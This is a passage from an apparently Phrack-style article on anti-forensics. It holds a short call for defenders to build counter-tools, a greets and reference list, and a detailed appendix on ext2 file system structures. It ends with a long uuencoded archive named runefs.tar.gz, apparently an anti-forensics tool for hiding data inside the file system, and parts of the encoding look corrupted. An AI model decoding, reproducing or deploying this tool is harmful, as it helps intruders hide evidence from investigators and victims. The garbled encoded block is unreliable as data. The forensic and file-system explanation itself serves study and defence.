Digital forensic tools are buggy, error prone and inherently flawed. Despite these short comings they are being relied on more and more frequently to investigate computer break-ins. Given that this fundamentally broken software plays such a key role in incident response, it is somewhat surprising that no-one has documented anti-forensic techniques, nor sort to develop counter-measures (anti-anti-forensics). Some suggestions regarding anti-anti-forensics methodology are presented here, to provide the security community a foothold in the struggle against anti-forensics.

The Defilers Toolkit directly modifies the file system to eliminate evidence inserted by the operating system during run time. The way to defeat the defiler’s toolkit is to not rely on the local file system as the only record of disk operations. For instance, make a duplicate record of the file system modifications and store this record in a secure place. The simplest solution would be to have all inode updates be written to a log file located on a seperate box. A trivial addition to the kernel vfs layer, and a syslog server would be more than adequate for a first generation anti-anti-fornesics tool.

The only means of effectively counteracting an anti-forensics attack is to prepare for such an eventuality prior to an incident. However, without the tools to make such preparation effective, the computing public is left vulnerable to attackers whose anonymity is assured. This article is intended as a goad to prod the security industry into developing effective tools. Hopefully the next generation of digital forensic investigating tookits will give the defenders something reliable with which to effectively combat the attackers.

--[6 - Greets

Shout outs to my homies!
East Side: stealth, scut, silvio, skyper, smiler, halvar, acpizer, gera
West Side: blaadd, pug, srk, phuggins, fooboo, will, joe
Up Town: mammon_, a_p, _dose
Down Town: Grendel, PhD.

--[7 - References:

[1] Dan Farmer, Wietse Venema "TCT"
www.fish.com/security
[2] Brian Carrier "TCTUTILS"
www.cerias.purdue.edu/homes/carrier/forensics
[3] Brian Carrier "TASK"
www.cerias.purdue.edu/homes/carrier/forensics

[4] Theodore T'so "e2fsprogs"
e2fsprogs.sourceforge.net

--[8 - APPENDIX A

----[8.1 - Ext2fs

In the honored phrack tradition of commented header files, here is a guide to the second extended file system.

The second extended file system (ext2fs) is the standard file system on the Linux OS. This paper will provide an introduction to the file system. Reading this document is no substitute for reading the src, both in the kernel and in the ext2fs library.

What follows is a bottom up description of the ext2 file system; starting with blocks and inodes and concluding, ultimately, with directories.

. o O (BLOCKS) O o .

The basic component of the file system is the data block, used to store file content. Typically, the smallest addressable unit on a hard disk is a sector (512 bytes), but this is too small for decent I/O rates. To increase performance multiple sectors are clustered together and treated as one unit: the data block. The typical block size on an ext2fs system is 4096 bytes; however, it can be 2048 bytes or even as small as 1024 (8, 4 and 2 sectors, respectively).

. o O (INODES) O o .

The second core part of the file system, the inode, is the heart of the Unix file system. It contains the meta-data about each file including: pointers to the data blocks, file permissions, size, owner, group and other vital peices of information.

The format of an ext2 inode is as follows:

```
---------------------------------------------------------------------------
struct ext2_inode {
        __u16   i_mode;         /* File mode */
        __u16   i_uid;          /* Owner Uid */
        __u32   i_size;         /* Size in bytes */
        __u32   i_atime;        /* Access time */
        __u32   i_ctime;        /* Creation time */
        __u32   i_mtime;        /* Modification time */
        __u32   i_dtime;        /* Deletion Time */
        __u16   i_gid;          /* Group Id */
        __u16   i_links_count;  /* Links count */
        __u32   i_blocks;       /* Blocks count */
        __u32   i_flags;        /* File flags */
        union {
                struct {
                        __u32  l_i_reserved1;
                } linux1;
                struct {
                        __u32  h_i_translator;
                } hurd1;
                struct {
                        __u32  m_i_reserved1;
                } masix1;
        } osd1;                         /* OS dependent 1 */
        __u32   i_block[EXT2_N_BLOCKS];/* Pointers to blocks */
        __u32   i_version;      /* File version (for NFS) */
        __u32   i_file_acl;     /* File ACL */
        __u32   i_dir_acl;      /* Directory ACL */
        __u32   i_faddr;        /* Fragment address */
        union {
                struct {
                        __u8    l_i_frag;       /* Fragment number */
                        __u8    l_i_fsize;      /* Fragment size */
                        __u16   i_pad1;
                        __u32   l_i_reserved2[2];
                } linux2;
                struct {
                        __u8    h_i_frag;       /* Fragment number */
                        __u8    h_i_fsize;      /* Fragment size */
                        __u16   h_i_mode_high;
                        __u16   h_i_uid_high;
                        __u16   h_i_gid_high;
                        __u32   h_i_author;
                } hurd2;
                struct {
                        __u8    m_i_frag;       /* Fragment number */
                        __u8    m_i_fsize;      /* Fragment size */
                        __u16   m_pad1;
                        __u32   m_i_reserved2[2];
                } masix2;
        } osd2;                         /* OS dependent 2 */
};
---------------------------------------------------------------------------
```

The two unions exist because the ext2fs is intended to be used on several operating systems that provide slightly differing features in their implementations. Aside from exceptional cases, the only elements of the unions that matter are the Linux structs: linux1 and linux2. These can simply be treated as padding as their contents are ignored in current implementations of ext2fs. The usage of the rest of the inode's values are described below.

* i_mode   The mode of the file, this is the usual octal permissions that Unix users should be familiar with.

* i_uid   The UID of the owner of the file.

* i_size   The size of the file, in bytes. Clearly the maximum size is 4G, as size is an unsigned 32bit integer. Support for 64bit file sizes had been hacked in with the following define supplying the high 32bits:

```
#define i_size_high     i_dir_acl
```

* i_atime   The last time the file was accessed. All times are stored in usual Unix manner: seconds since the epoch.

* i_ctime   The creation time of the file.

* i_mtime   The last time the file was modified.

* i_dtime   The deletion time of the file. If the file is still live then the time will be 0x00000000.

* i_gid   The GID of the file.

* i_links_count The number of times that the file is referenced in the high level file system. That is, each hard link to the file increments this count. When the last link to the file is removed from the FS, and the links count reaches 0, the file is deleted. The blocks referenced by the inode are marked as free in the bitmap.

* i_blocks   The number of blocks referenced by the inode. This is count doesn't include the indirect blocks, only blocks that contain actual file content.

* i_flags   The extended attributes of the ext2fs are accomplished with

this value. The valid flags are any combination of the following:

```
---------------------------------------------------------------------------
#define EXT2_SECRM_FL           0x00000001 /* Secure deletion */
#define EXT2_UNRM_FL            0x00000002 /* Undelete */
#define EXT2_COMPR_FL           0x00000004 /* Compress file */
#define EXT2_SYNC_FL            0x00000008 /* Synchronous updates */
#define EXT2_IMMUTABLE_FL       0x00000010 /* Immutable file */
#define EXT2_APPEND_FL          0x00000020 /* append only */
#define EXT2_NODUMP_FL          0x00000040 /* do not dump file */
#define EXT2_NOATIME_FL         0x00000080 /* do not update atime */
/* Reserved for compression usage... */
#define EXT2_DIRTY_FL           0x00000100
#define EXT2_COMPRBLK_FL        0x00000200 /* compressed clusters */
#define EXT2_NOCOMP_FL          0x00000400 /* Don't compress */
#define EXT2_ECOMPR_FL          0x00000800 /* Compression error */
/* End compression flags --- maybe not all used */
#define EXT2_BTREE_FL           0x00001000 /* btree format dir */
#define EXT2_RESERVED_FL        0x80000000 /* reserved for ext2 lib */
---------------------------------------------------------------------------
```

* i_block[]   The block pointers. There are 15 array elements, the first 12 elements are direct blocks pointers; their blocks contain actual file content. The 13th element points to a block that acts as an extension of the array. This block is an indirect block, and the pointers it contains point to additional direct blocks. The 14th element points to a block containing an array of block pointers to indirect blocks. This element is the doubly indirect block. The last element is the trebly indirect block. This block contains pointers to doubly indirect blocks.

```
---------------------------------------------------------------------------
#define EXT2_NDIR_BLOCKS                12
#define EXT2_IND_BLOCK                  EXT2_NDIR_BLOCKS
#define EXT2_DIND_BLOCK                 (EXT2_IND_BLOCK + 1)
#define EXT2_TIND_BLOCK                 (EXT2_DIND_BLOCK + 1)
#define EXT2_N_BLOCKS                   (EXT2_TIND_BLOCK + 1)
---------------------------------------------------------------------------
```

* i_version   The file version. Doesn't appear to be used.

* i_file_acl   A pointer to an ACL list. This is not used on ext2, as there are no ACLs implemented for this version of the file system.

* i_dir_acl   A pointer to an ACL list. This is not used on ext2 as an ACL pointer, but rather as the value: [i_size_high]. This is an additional 32bits of file size, allowing the file size to be treated as a 64bit unsigned intetger. This is not generally used on ext2fs.

* i_faddr   The fragment address. Fragments are not used on the ext2fs; therefore, this value is always 0.

Certain inodes have special significance within the file system.

```
---------------------------------------------------------------------------
#define EXT2_BAD_INO            1       /* Bad blocks inode */
#define EXT2_ROOT_INO           2       /* Root inode */
#define EXT2_ACL_IDX_INO        3       /* ACL inode */
#define EXT2_ACL_DATA_INO       4       /* ACL inode */
#define EXT2_BOOT_LOADER_INO    5       /* Boot loader inode */
#define EXT2_UNDEL_DIR_INO      6       /* Undelete directory inode */
---------------------------------------------------------------------------
```

The bad blocks inode contains block pointers to data blocks that occupy bad sectors of the hard disk. The root inode is the root directory that contains the head of the file system tree. The other inodes are not typically used on production systems. The first inode used for user files is inode 11. This inode is the directory "lost+found", created by the tool mkfs.

. o O (SUPERBLOCK) O o .

The super block is the most basic means that the kernel has of determining the status of the file system. It indicates the number of inodes, blocks, and groups, in addition to various other pieces of information. The elements within the super block structure change more rapidly than the inode or group data. This is because libext2fs adds features to the ext2fs which might not be implemented in the kernel. The format we examine is from e2fsprogs-1.19.

The super block is 1024 bytes in size, and offset 1024 bytes from the start of the partition.

The format of the super block is as follows:

```
---------------------------------------------------------------------------
struct ext2fs_sb {
        __u32   s_inodes_count;         /* Inodes count */
        __u32   s_blocks_count;         /* Blocks count */
        __u32   s_r_blocks_count;       /* Reserved blocks count */
        __u32   s_free_blocks_count;    /* Free blocks count */
        __u32   s_free_inodes_count;    /* Free inodes count */
        __u32   s_first_data_block;     /* First Data Block */
        __u32   s_log_block_size;       /* Block size */
        __s32   s_log_frag_size;        /* Fragment size */
        __u32   s_blocks_per_group;     /* # Blocks per group */
        __u32   s_frags_per_group;      /* # Fragments per group */
        __u32   s_inodes_per_group;     /* # Inodes per group */
        __u32   s_mtime;                /* Mount time */
        __u32   s_wtime;                /* Write time */
        __u16   s_mnt_count;            /* Mount count */
        __s16   s_max_mnt_count;        /* Maximal mount count */
        __u16   s_magic;                /* Magic signature */
        __u16   s_state;                /* File system state */
        __u16   s_errors;               /* Behaviour when detecting errors */
        __u16   s_minor_rev_level;      /* minor revision level */
        __u32   s_lastcheck;            /* time of last check */
        __u32   s_checkinterval;        /* max. time between checks */
        __u32   s_creator_os;           /* OS */
        __u32   s_rev_level;            /* Revision level */
        __u16   s_def_resuid;           /* Default uid for reserved blocks */
        __u16   s_def_resgid;           /* Default gid for reserved blocks */
        /*
         * These fields are for EXT2_DYNAMIC_REV superblocks only.
         *
         * Note: the difference between the compatible feature set and
         * the incompatible feature set is that if there is a bit set
         * in the incompatible feature set that the kernel doesn't
         * know about, it should refuse to mount the filesystem.
         *
         * e2fsck's requirements are more strict; if it doesn't know
         * about a feature in either the compatible or incompatible
         * feature set, it must abort and not try to meddle with
         * things it doesn't understand...
         */
        __u32   s_first_ino;            /* First non-reserved inode */
        __u16   s_inode_size;           /* size of inode structure */
        __u16   s_block_group_nr;       /* block group # of this superblock */
        __u32   s_feature_compat;       /* compatible feature set */
        __u32   s_feature_incompat;     /* incompatible feature set */
        __u32   s_feature_ro_compat;    /* readonly-compatible feature set */
        __u8    s_uuid[16];             /* 128-bit uuid for volume */
        char    s_volume_name[16];      /* volume name */
        char    s_last_mounted[64];     /* directory where last mounted */
        __u32   s_algorithm_usage_bitmap; /* For compression */
        /*
         * Performance hints.  Directory preallocation should only
         * happen if the EXT2_FEATURE_COMPAT_DIR_PREALLOC flag is on.
         */
        __u8    s_prealloc_blocks;      /* Nr of blocks to try to preallocate*/
        __u8    s_prealloc_dir_blocks;  /* Nr to preallocate for dirs */
        __u16   s_padding1;
        /*
         * Journaling support.
         */
        __u8    s_journal_uuid[16];     /* uuid of journal superblock */
        __u32   s_journal_inum;         /* inode number of journal file */
        __u32   s_journal_dev;          /* device number of journal file */
        __u32   s_last_orphan;      /* start of list of inodes to delete */

        __u32   s_reserved[197];    /* Padding to the end of the block   */
};
---------------------------------------------------------------------------

* s_inodes_count        The total number of inodes within the file system.

* s_blocks_count        The total number of blocks within the file system.

* s_r_blocks_count      The number of blocks reserved for the super user.
                        If the FS becomes too full, these last reserved
                        blocks will prevent users from making the FS
                        unusable.

* s_free_blocks_count   The number of unused blocks. This value is
                        constantly updated as blocks are freed or
                        allocated.

* s_free_inodes_count   The number of unused inodes. This value is
                        constantly updates as inodes are freed or allocated.

* s_first_data_block    A pointer to the first data block, after all the
                        blocks used to store inode tables, bitmaps and
                        groups. This value is either 0, or the correct
                        value.

* s_log_block_size      The size of a block. This value is stored as a
                        shift value. The number to be shifted is 1024;
                        therefore, to retrive the actual block size use:
                                bs = 1024 << sb.s_log_block_size;

* s_log_frag_size       The size of a fragment. This value is stored as a
                        shift value. Fragments are not used on the ext2fs;
                        therefore, this value is ignored.

* s_blocks_per_group    The number of blocks in a group.

* s_frags_per_group     The number of fragments in a group.

* s_inodes_per_group    The number of inodes in a group.

* s_mtime               The last time the file system was mounted. All time
                        values are stored as seconds since the epoch.

* s_wtime               The last time the file system was written.

* s_mnt_count           The number of times the file system has been
                        mounted.

* s_max_mnt_count       The maximum number of times the file system can be
                        mounted before it needs to be fsck'd. The default
                        value is 20.

* s_magic               The magic number of the file system: 0xEF53.
* s_state               The state of the file system: either clean, or
                        dirty. The flags are as follows:
---------------------------------------------------------------------------
#define EXT2_VALID_FS                   0x0001  /* Unmounted cleanly */
#define EXT2_ERROR_FS                   0x0002  /* Errors detected */
---------------------------------------------------------------------------

* s_errors              The response to take when an error is encountered.
                        The following are valid values:
---------------------------------------------------------------------------
#define EXT2_ERRORS_CONTINUE            1       /* Continue execution */
#define EXT2_ERRORS_RO                  2       /* Remount fs read-only */
#define EXT2_ERRORS_PANIC               3       /* Panic */
#define EXT2_ERRORS_DEFAULT             EXT2_ERRORS_CONTINUE
---------------------------------------------------------------------------

* s_minor_rev_level     The minor number of the ext2fs revision. This value
                        can be safely ignored.

* s_lastcheck           The last time the file system was fsck'd, stored in
                        typical Unix sec's since epoch format.

* s_checkinterval       The maximum amount of time that can elapse between
                        fsckings. The file system needs to fscked if either
                        this value is exceeded, or s_max_mnt_count.

* s_creator_os          The OS that created this file system. Valid values
                        are as follows:
---------------------------------------------------------------------------
#define EXT2_OS_LINUX           0
#define EXT2_OS_HURD            1
#define EXT2_OS_MASIX           2
#define EXT2_OS_FREEBSD         3
#define EXT2_OS_LITES           4
---------------------------------------------------------------------------

* s_rev_level           The revision of the file system. The only
                        difference in values deals with inode sizes. The
                        current version uses a fixed inode size of 128
                        bytes.  The following are valid values:
---------------------------------------------------------------------------
#define EXT2_GOOD_OLD_REV       0   /* The good old (original) format   */
#define EXT2_DYNAMIC_REV        1   /* V2 format w/ dynamic inode sizes */
#define EXT2_CURRENT_REV        EXT2_GOOD_OLD_REV
---------------------------------------------------------------------------

* s_def_resuid          Default UID for reserved blocks. The default is 0.

* s_def_resgid          Default GID for reserved blocks. The default is 0.

* s_first_ino           The first non reserved inode. Inodes < 10 are
                        reserved, so the first valid inode number is 11.
                        This inode is almost always the file "lost+found".

* s_inode_size          The size of an inode. The size is 128 bytes for
                        current ext2fs implementations.

* s_block_group_nr      The block group that this super block is stored in.

* s_feature_compat      Flags of features that this ext2fs supports.  Valid
                        features are the following:
---------------------------------------------------------------------------
#define EXT2_FEATURE_COMPAT_DIR_PREALLOC        0x0001
---------------------------------------------------------------------------

* s_feature_incompat    Flags of features that this ext2fs doesnt' support.
                        Valid incompatabilities are the following:
```

```
---------------------------------------------------------------------------
#define EXT2_FEATURE_INCOMPAT_COMPRESSION       0x0001
#define EXT2_FEATURE_INCOMPAT_FILETYPE          0x0002
---------------------------------------------------------------------------

* s_feature_ro_compat   Flags of features that this ext2fs supports as read
                        only.  Valid features are as follows:
---------------------------------------------------------------------------
#define EXT2_FEATURE_RO_COMPAT_SPARSE_SUPER     0x0001
#define EXT2_FEATURE_RO_COMPAT_LARGE_FILE       0x0002
#define EXT2_FEATURE_RO_COMPAT_BTREE_DIR        0x0004
---------------------------------------------------------------------------

* s_uuid                The unique ID of this ext2fs.

* s_volume_name         The name of the volume. (I don't know what this is
                        used for, but it sertainly isn't important).

* s_last_mounted        The directory on which this file system was last
                        mounted.

* s_algorithm_usage_bitmap      (I don't know how this is used. No
                                interest in FS compression.)

* s_prealloc_blocks     The number of blocks to try to preallocate for a
                        file.

* s_prealloc_dir_blocks The number of block to try to preallocate for a
                        directory file.

* s_padding1            padding.

* s_journal_*           (I don't have journalling support on my FS,
                        therefore I do not know how these values are used.)
* s_reserverd[]         This is padding to fill the super block out to 1024
                        bytes.
```

                . o O (G R O U P S) O o .

Ext2fs groups are used to organise clusters of blocks and inodes. Groups each contain a bitmap of free inodes, and one of free blocks. Additionally each group has a copy of the super block to help prevent against catastrophic data loss. Group descriptors are stored on the blocks immediately after the super block, following them are bitmaps and inode tables, and following that data blocks.

The format of a group descriptor is as follows:

```
-----------------------------------------------------------------------------
struct ext2_group_desc
{
        __u32   bg_block_bitmap;                /* Blocks bitmap block */
        __u32   bg_inode_bitmap;                /* Inodes bitmap block */
        __u32   bg_inode_table;         /* Inodes table block */
        __u16   bg_free_blocks_count;   /* Free blocks count */
        __u16   bg_free_inodes_count;   /* Free inodes count */
        __u16   bg_used_dirs_count;     /* Directories count */
        __u16   bg_pad;
        __u32   bg_reserved[3];
};
-----------------------------------------------------------------------------

* bg_block_bitmap       A block pointer to the block bitmap. The bits in
                        the bitmap are set to indicate free/in-use.

* bg_inode_bitmap       A block pointer to the inode bitmap. The bits in
                        the bitmap are set to indicate free/in-use.
```

```
* bg_inode_table        A block pointer to the start of the inode table.

* bg_free_blocks_count  The number of blocks within the group that are
                        available for use.

* bg_free_inodes_count  The number of inodes within the group that are
                        available for use.

* bg_used_dirs_count    The number of inodes from this group used for
                        directory files.

* bg_pad                padding.
* pg_reserved[]         padding.
```

. o O (DIRECTORIES) O o .

Directories are used to organize files at the Operating system level. The contents of a directory file is an array of directory entry structures. Each contains the name of a file within the directory, and the inode of that file.

The format of ext2 directory entries is as follows:

```
----------------------------------------------------------------------------
struct ext2_dir_entry_2 {
        __u32   inode;                  /* Inode number */
        __u16   rec_len;                /* Directory entry length */
        __u8    name_len;               /* Name length */
        __u8    file_type;
        char    name[EXT2_NAME_LEN];    /* File name */
};
----------------------------------------------------------------------------
```

```
* inode         The inode number of the file within the directory. If a
                file has been deleted, the inode number is set to 0.

* rec_len       The size of the directory entry. As the length of the name
                can be anything up to 255 byte, this allows for more
                efficient use of space within the directory file.

* name_len      The length of the file’s name. This can be up to 255 bytes.

* file_type     The type of file, i.e. symlink, device, etc. etc. The
                following are valid values:
```

```
----------------------------------------------------------------------------
#define EXT2_FT_UNKNOWN         0
#define EXT2_FT_REG_FILE        1
#define EXT2_FT_DIR             2
#define EXT2_FT_CHRDEV          3
#define EXT2_FT_BLKDEV          4
#define EXT2_FT_FIFO            5
#define EXT2_FT_SOCK            6
#define EXT2_FT_SYMLINK         7
----------------------------------------------------------------------------
```

This concludes the walk through of the physical layout of the ext2 file system. Further information is available from http://e2fsprogs.sourceforge.net.

----[8.2 - runefs.tar.gz (uuencoded)

```
begin 600 runefs.tar.gz
M’XL(‘$LK.3T‘‘^P\87?C-G+Y2O\*W.9=(OELKZ7UVKENDU=9IKWJVI(KR;M)
M>WT\2H0L=BE2)2E[?9?VMW=F‘)‘@"5)RLIM>7T\O64N8P<Q@,!C,#$#&FY‘O
MDI=??<G/\?’)\=GKU_"7/N6_XOO9Z\[)JY/3S@E\[W2.3T^_8J^_J%3RLTE2
M-V;LJSB*TB:\;?#_HY]8S/^-^Y$O_(!_$1[’G>/CTY.3VOD_S>;_^.STY!3P
MNZ^[9U^QXR\B3>GS_WS^O][;<X/@'_:L?VJQN<=6']$@V#??L!58!`,0:RL8
M0N;K>MAC7`^+5PTPKP:V$L99@N[-`^Z&=1(3L%9F`U23V@#5Y#9!O5IH6?8,
M_G+FAR^![.&"[?\WV_O?GG^Y_OUP'FP\_F7V@=W]?[?;>2W6?Z?[=____6WQ*
M\\\_I=U%<GNT_)P\T/^?U/O_[NEIYO]?OSH[`_R3;O?5W_W_;_%YN;_']EDV
M[>SP\)"M8__!33E;<M?C,<.X@"VBF+!8X,]B-W["7OA_/UH_Q?[],F6M?IMU
M_OC',S9=\LB+8LZFR;?1$2`AWN_/^;T?'KXEDK_'ENG23P3ME?O$9IS%W/.3
M-/9GFY1[;!,B[W3)60I>.&'1@GY<#>_8[686^'.D<>W/>9CP(^)@AYY&_^7>
MWM?2JMD+,;ZCY8N]/3'@<]>;!='\8P+C25)"!]:;>4J#=,1W9Z:P',1B?]VS
M_#"U5NZ]/W\COH>;E?R6^'_A\'46?'12:Q_Q)2`GL@C<^^3-WG^]V6MFYL.(
M4?^27\:P*(XUFTD.UCJ-!5DYN@L_YO,TBD&MB,\$09A!#X*\T$_]**P;,G#0
MAIKS)AR8K>0IL:Q%HEK\,(+AJL'K3?-H$RH5`$(4PZ3"3YVE-W-XF(*4^Y;0
M%PY!C.`2A<U&H>1/=*D![,RC,`52**[.&T"*L]2Y-5^ZL67MSS8+`6&M_<4F
MG+=;6C_H=K!G60P^V)=D4PT%N8&S%!QE#%.]5[18)+S0(N8,-*0:2184134\
M1+YG[>.R<SPW==L@(C5I;:C=.)Y''@=!Y3==88,0&MC<G<,:$;)N8EZ99!^Q
M'('U5\$$E`\?$&;!X\Q^LQ8'?F>3:%%')W"3M-PF#4"VQ7RAIK^&.^K/VJ>O
MU051PBO/+OPQ$;;H7Z43=@FSBX8.WBQ*H_1IS1-R"M"!QR%.C/1Z#B#,>9+0
MM-)<M31C9PRL'>=)S)14SS[AA7$.X%U4U3Q,$4S0N;"+0C]0C&"10X3*$)!;
MCF851;/8^^SQHG'__[S;_Y;]_PRS_6S_AT@1]W](!/^^__\6'WW_E]N_^%&[
MP;\ZP']/Z-_7]._IW]*6OP`B"^;8/TZ[EQ/UY^W>U[3U\2H`NU`/9[X.-@G^
MKWS$B_X+\#U?\]#S%\K/#J/P$`7JLWFT6L-0XH0]1N&W*8-$$[R(&_O!DQ@)
M&%;HP?H.@"])!YQ8ZW="$*_E.$"G[SAMS!&UU@^]:7]T@X!V)O5PY`R&UX.A
M[5S>#?N3DDSG&S]`1BS9K->PT5*P-GM*^6'RZ*[7?GA/2@=OEG)0*TCQR$FS
M"^[*;8(MW00FA(<PK'#AWT.KQX`*X7X+$SOC2&8&G%(&3M5E_=L[YL;S)>S-
M:J]ACWZZ!%`(.@K=U'_@)`70`6T<92I00[6'O?-KVYE\Z-U>3MKLYY\SR(?1
M^&+BG`^N[.'%H#?,]:`F3^]94L:')8_%Z%:P3X$]S<&`E2F!@G@L8R((_:(Y
A%G>`<-Y6D:/;.;?(XD<*X$A<J'6!!221J"'(\8^<"DJF]S=VN/SZU'_G3,9
_*L-X+F[24@9Q`^V10/O;(-&*<*H:#L`2])'F,8E!=FM)%IQ]@#F!)M9`O/T
($:W=CT/IP2V#+99LR2"5C>MCA)I=(Y?=6DJ<,SA?5O.174,H\O+B3VU.L?=
$Q.8ABB@4MNP\!G&`])IP()^\%%0%O`''BB18)1R`$H9,HN0\KDS<`F@7&F_
1?%PSIWKP;G3OQN/[>'4&=OO+6J\^&G8NQGTL2%;QF][[\$P?IHXTY]N;5KX
*@GX1[#_EQ0''"U_R(Q&`Z<>2(4PLE+B<'G=F\+*ZU_?7=@3/9_H.I+2"Z`4
P(3G=(0F:"=U2NP8Q"55NN2X$%.XH<VKKJ7%.V_*(`HE*JW>?;PV-!,=""R*
H.3T!$!YQ/)FAR&#NW,@[J01%_(JQX\,C0JUK)ST94;HAQJE(;TZF.I86/*W
8#/NS`_\]`ERUF!-_N_&G\=1$BU2]MY/-F[`^G_X@W)!I(6;2=]Y;X^+=O8O
D]%X2K9#$2)L"AZ?!VH8]9B91$K),CR5694>4.YK/XJ!+\2B$O^>ASSVY\[,
3U?NF@+@+/@W9&1,9&1RSC&@20\8")2WQ=P-'-$BL@_+X\D\]M<8(N>-@E\A
UYBY"4>U1YAM87R=DTQX_,"]?SO[=Q%TEYST36_\SK''X]&86<=EX-U0!W?*
X*D]F0J@U:WHM%%5^Q):;'[SBVB(/.374"`GG%%0IE=Q7@7#NAR,)[@"1Q=V
*VE;Q39H,1EC8Y\B*B&1)T=,W*"B1:N23+5+2VQ6J)=H=021DIN44U-$$>9?
;#0JM[XN4B8AVT7>%T$H!!(]0Z!?)XM)#*7P\]X%;9P3]*I7SL5@//T)C'TO
#[I5O26/"#`6<6?PVZ7T-8$`@$.X06A'\W8EI<^**,4L623)(NW,<WB5F(H%
VS!0*=:^)J,V+AC5`&RK=PXNL#0>##3]J&H@)7.%Z.W#>#"U+>OX$^2`'0.\
/[9[@$#PKHG`36_R3O2_O#3!S^\NI<J//YT`D1J4][WKP06@=!'%J!/*6#*W
S9VTY.R<B6U#<`2!T[&A'<*6DH,3[1#;HG.3]2XL4]&^A=&1[MJ+EJ'*L.!;
HC4/6^UJJ$2F-OY@D6K*BD58_VUO>&5?$+QK@`N=$?C$`!;Z(O!W!C`$:I+`
\:=.6>>(<*XA=$T(&-8[YS_!'F#1S#6B@/_LX>Q]MP5-6!N*9$($4YK:8V=R
[HR&US\)8S"@78[&?=L24AGY8:@L2)!()IQ_'MV-A[UKY\)^[XS>"8E,>(.;
WI5-5FIEQBEL9;+F<Q\"&BQM8M:G+(:1YV8^U9DAX^/@"2D`7W$7_$@>B\N@
&[*.1]$'4IK61"809'N/,3@SL1.TVFSNAG1^2:87NX)T<F2PO:']06XPE]="
`_2I6OGJXW]$FSAT`UDKH-XW[Y1RWG>$+JT;.O=E+8^O8T[96IN][S#96<MT
JK(8J)$O(7>S5Q^?%8*MO`#N1PX$26'(`VCTH[S8J5>813'5@R1HSIW07?%2
H9+D%5&!M<\L^IE3R@K%&O$8B(L6$>%CXWT<;=8.!G".*K-NPL2_A]29\CL2
`8""7DF$O#,(F__(6<JH1^QI*"XAR8"S%!4I;!DT5H,>.2BG%%6RUOX]3R63
=J'>ND@.6+Z/H7T>B.HIVY?H)4+S)0<&V6'!-FKE[L+4A;054<K($$9[,D#:
)C25<2MQ%=L7O8U"?";"I6,B*V]068/8T-%,Y,ZN8GHB[$.4;T$D)=8IQ[0>
UE:='8,51;%_[RA;+D@&BX<[2X_6A?Q!U3J=XV;E)AB?@(NPP!.,95I![!<;
VOGXIS5X,#RULDB4K&^6@WP'.8B9!'K'39)58>9N$&#9Q%VO`Q\<"A`]DE3S
TQ#MU"4CJAVP2/R:(PO+VO>U@XU=:@E@?=&ZJ9B@$,J9[YB#?D+:"?+HH73F
MY`'(4G!18J"C@H%.J5V$=EU2ZTB(<MJ/^>"3R@C81)"NG.!3_M8[_86(IT#
+"9JK6]'U_8!]/5P#GB2UZXDN2A&,DITEBRC#>QF,S%_6)H,F<Q''K-ZGQAW
N%G->(R%M;_PF&K1HNP,_VVPAC=[4@$4696'G@/V."KM984HU_/D_J@V%VH-
L^URD-*NZ`8)]2/*J/]U'-W'[DH.Z-$-4XVR).-!+BY*I525%:AXDNG"9OYB
&4';BR-5?M=T-AWWWMOCB6U46WFVE34@#<1'[WC`O&@S"YZT!I[.CY0F*TIV
%U@_A>](1*X?B2O%Q6JM"D$4486"E5-YM,:]\CPL-@'6EI^B#>'=1[@FA:90
/529I8*SH+6(HQ6H7PP&9Z!J9Q>]:8]"K]W4DPT6R<CQHLIPU2NN41@\&3@-
1\YU;WQEXU"P"YDL1B/D9K`/V8<?`G"5Y,<K<F.4:6)72!>X\3V7AB#.$=!8
YG.^3H76RDM66U2599LM+<L,NK!OIV\S.ZJL[Z(><:$;X&KT*G*5SN`&PR3V
0JQ!BDI>L%AXIP<WV/"M[LDTUO[H;H@^$]*-UF&G;81>(+AUV#5#IP+ZJ@8Z
M[@TGX);!J[4.3]K"61]7@E4Y?:OH0<5%U6CS_&;TWG:N;!"(DF.9UUHFK`O[
M_.Y*);8[./3J18@:IPYY%1;(JUY=`LIN738+O_ZJ>GLD9R=]NY;(R[XB5Q&[
MFF/?W%*!HPEG;*,.*/4MH5V,IC+?J5!`4`:NR#^:OH6TBV"O*CWM:WMJ7PCH
M2?&V1((NO%RI:"B*B$V>>NUKNSXVO-&+(%@61*1<:\7L_Q)FZ)V3%8>,)1!`
M`@293)U?O\O,Q8`$W\<]F3$3VDD%;?)N<.O<#":3P1"F8HK'9P+UNY+@(IKV
M%V#ML(;1*9H'<7/IW.`:PCI"IP(:3,:CT=2RNA4(INO2NY1!F*U;5B:0#0*]
MA%AM\XFM<+9(D,+A&ZR-%:/M7YU^/0),'L9R+]MNU[#$,&+`M32:?`L[W5/R
M,DG=]&AYP!*(M3AVE$?2XE@7]QX\YD0:>)QY37*($]2BI[H>#.]^=";.X/)F
MRAC,X]FQGM#GX`G,-<.K#6;P]?"=!>!N#7AL7P'USG$-&"P$F9_6@&$Q(+B.
M=_\M@>MX#RY'-#(S>'(WN$#P\8D9?"7!73/X_?1'`HO-I`(??_CQ#L!GIK[C
MN\E8C*H*^R!@71/L1P'KU#&\0GG.3`ROQK=BI`:&$M8U,92P3@W#$:.+,`88
MN#:"G1@8*EC7P%#!.@:&$S"UUJIMM5KP+_NF8,%M]OWW1:-L&PB`,>Y(`#!-
M!,`>=R0`F"8"8+$[$@!,$P%8,#L2`$P3`5P5.U(`3!,%=`@[4D#4=J'.[E.,
MY:3Z64'52P]$G#.ZI<P3ME[8$D59V+C/":)J<Y,<WE2K=RJ>7;GK8M1VT[MU
M>M>PJ^6G`GDO*@#$1_.:X(4*GF,5+,"V!\2TK44'3VY[$+^*DFY7OS)*NQ?=
MBLBJYE2_DUEA<G1T9#B.Z+^U(20$^H.^/`D[8%B::;,_0:J/>4I+MK</?Q#T
M?O<]:Q%*6T6YXN>>+@T597$_B2$'HJ1#W&^HS-/E!`+2F]NQ/9E`J`(&U[NX
M&`-3JGNUV?&GA?SD9H11OL)L.;,V8.._8#7'>)-&_:BEGEG3I;@#E"CA1(K<
M<&?#?#GCTNY-[\8V<>I-L=YZ:[5$W:,(@07M@"QD)3__B8I9%C,A#FA"A"E,
M=,Q79<RWO8DJJS=2A#:G-YV*L8ML5)[(PC?8V&'X>"<%K-X/"O.&B=XF@,0Y
MUU%^D4!>1E(J'HR&V2VT@?-N./K@3-\"<PT.:Q]DN;7'`UR/O6N49B#3:QY$
MC^S1C4-QW0J6#N3(!P@+Z>[/'F/LS_W;6UP'D^\/+W9D\2UFZ4`IQOX\?/#C
M*%SAW5I1>A`WOECJK_@1#HU]K41XT:_:+^J#?UKSV$<2;O!")3&U5@'.I]8N
